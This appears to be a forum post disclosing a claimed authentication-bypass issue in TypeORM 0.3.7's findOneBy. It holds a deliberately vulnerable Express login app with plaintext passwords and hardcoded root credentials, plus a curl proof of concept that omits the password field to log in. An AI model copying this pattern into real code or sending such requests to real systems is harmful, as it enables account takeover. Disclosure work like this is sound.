I found what I think is a vulnerability in the latest typeorm 0.3.7. TypeORM v0.3 has a new findOneBy method instead of findOneById() and it is the only way to get a record by id Sending undefined as a value in this method removes this parameter from the query. This leads to the data exposure. For example: Users.findOneBy({id: req.query.id}) with /?id=12345 produces SELECT * FROM Users WHERE id=12345 LIMIT 1 while removing id from the query string produces SELECT * FROM Users LIMIT 1 Maintainer also does not consider this a vulnerability and stated the root cause is bad input validation. I tried to contact Snyk, but they took the author's position. I still think it is a major vulnerability Vulnerable app: import { Entity, PrimaryGeneratedColumn, Column, Connection, ConnectionOptions, Repository, createConnection } from 'typeorm'; import express from 'express'; import {Application, Request, Response} from 'express'; let connection: Connection; async function myListener(request: Request, response: Response) { if(!connection) connection = await createConnection(connectionOpts); const userRepo: Repository = connection.getRepository(User); const { email, password }: Record = request.body; const user = await userRepo.findOneBy({ email, password }); return response.json(user ? 'ok' : 'denied'); } @Entity({ name: 'Users' }) class User { @PrimaryGeneratedColumn() id!: number; @Column() email!: string; @Column() password!: string; } const connectionOpts: ConnectionOptions = { type: 'mysql', name: 'myconnection', host: 'localhost', username: 'root', password: 'test123', database: 'domurl', entities: [User] } const app: Application = express(); app.use(express.json()); app.post( "/authenticate", myListener); app.listen(4444, () => console.log('App started')); Usage: curl http://127.0.0.1:4444/authenticate -H 'Content-Type: application/json' --data '{"email": "Flo64@yahoo.com", "password": "incorrect"}' "denied"⏎ Exploit: curl http://127.0.0.1:4444/authenticate -H 'Content-Type: application/json' --data '{"email": "Flo64@yahoo.com"}' "ok"⏎